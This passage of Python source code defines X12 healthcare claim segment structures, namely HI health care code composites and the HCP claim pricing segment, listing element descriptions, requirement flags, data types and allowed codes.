codes=[],
),
),
Element(
"HI06-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI06-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="07",
),
Element(
"HI07-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["ABF", "BF"],
),
),
Element(
"HI07-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI07-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI07-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI07-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI07-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI07-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI07-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI07-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="08",
),
Element(
"HI08-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["ABF", "BF"],
),
),
Element(
"HI08-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI08-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI08-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI08-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI08-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI08-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI08-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI08-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="09",
),
Element(
"HI09-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["ABF", "BF"],
),
),
Element(
"HI09-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI09-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI09-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI09-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI09-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI09-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI09-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI09-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="10",
),
Element(
"HI10-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["ABF", "BF"],
),
),
Element(
"HI10-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI10-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI10-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI10-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI10-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI10-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI10-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI10-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="11",
),
Element(
"HI11-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["ABF", "BF"],
),
),
Element(
"HI11-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI11-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI11-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI11-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI11-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI11-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI11-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI11-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="12",
),
Element(
"HI12-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["ABF", "BF"],
),
),
Element(
"HI12-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI12-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI12-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI12-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI12-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI12-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI12-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI12-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
),
Segment(
"HI",
Properties(
desc="Anesthesia Related Procedure",
position="2310",
repeat="1",
req_sit="S",
syntax="",
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="R",
seq="01",
),
Element(
"HI01-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["BP"],
),
),
Element(
"HI01-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI01-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI01-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI01-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI01-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI01-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI01-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI01-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="02",
),
Element(
"HI02-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["BO"],
),
),
Element(
"HI02-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI02-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI02-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI02-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI02-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI02-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI02-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI02-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="N",
seq="03",
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="N",
seq="04",
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="N",
seq="05",
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="N",
seq="06",
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="N",
seq="07",
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="N",
seq="08",
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="N",
seq="09",
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="N",
seq="10",
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="N",
seq="11",
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="N",
seq="12",
),
),
),
Segment(
"HI",
Properties(
desc="Condition Information",
position="2310",
repeat="2",
req_sit="S",
syntax="",
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="R",
seq="01",
),
Element(
"HI01-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["BG"],
),
),
Element(
"HI01-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI01-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI01-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI01-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI01-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI01-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI01-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI01-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="02",
),
Element(
"HI02-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["BG"],
),
),
Element(
"HI02-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI02-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI02-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI02-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI02-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI02-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI02-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI02-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="03",
),
Element(
"HI03-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["BG"],
),
),
Element(
"HI03-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI03-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI03-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI03-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI03-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI03-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI03-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI03-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="04",
),
Element(
"HI04-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["BG"],
),
),
Element(
"HI04-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI04-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI04-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI04-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI04-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI04-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI04-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI04-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="05",
),
Element(
"HI05-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["BG"],
),
),
Element(
"HI05-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI05-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI05-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI05-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI05-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI05-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI05-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI05-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="06",
),
Element(
"HI06-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["BG"],
),
),
Element(
"HI06-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI06-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI06-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI06-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI06-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI06-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI06-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI06-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="07",
),
Element(
"HI07-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["BG"],
),
),
Element(
"HI07-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI07-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI07-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI07-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI07-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI07-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI07-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI07-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="08",
),
Element(
"HI08-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["BG"],
),
),
Element(
"HI08-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI08-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI08-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI08-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI08-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI08-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI08-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI08-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="09",
),
Element(
"HI09-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["BG"],
),
),
Element(
"HI09-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI09-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI09-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI09-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI09-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI09-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI09-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI09-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="10",
),
Element(
"HI10-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["BG"],
),
),
Element(
"HI10-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI10-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI10-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI10-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI10-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI10-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI10-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI10-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="11",
),
Element(
"HI11-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["BG"],
),
),
Element(
"HI11-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI11-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI11-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI11-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI11-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI11-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI11-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI11-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="12",
),
Element(
"HI12-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["BG"],
),
),
Element(
"HI12-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI12-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI12-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI12-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI12-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI12-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI12-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI12-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
),
Segment(
"HCP",
Properties(
desc="Claim Pricing/Repricing Information",
position="2410",
repeat="1",
req_sit="S",
syntax="R0113 P0910 P1112",
),
Element(
"HCP01",
Properties(
desc="Pricing Methodology",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=[
"00",
"01",
"02",
"03",
"04",
"05",
"07",
"08",
"09",
"10",
"11",
"12",
"13",
"14",
],
),
),
Element(
"HCP02",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Element(
"HCP03",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=3,
codes=[],
),
),
Element(
"HCP04",
Properties(
desc="Reference Identification",
req_sit="S",
data_type=("AN", "1", "50"),
position=4,
codes=[],
),
),
Element(
"HCP05",
Properties(
desc="Rate",
req_sit="S",
data_type=("R", "1", "9"),
position=5,
codes=[],
),
),
Element(
"HCP06",
Properties(
desc="Reference Identification",
req_sit="S",
data_type=("AN", "1", "50"),
position=6,
codes=[],
),
),
Element(
"HCP07",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
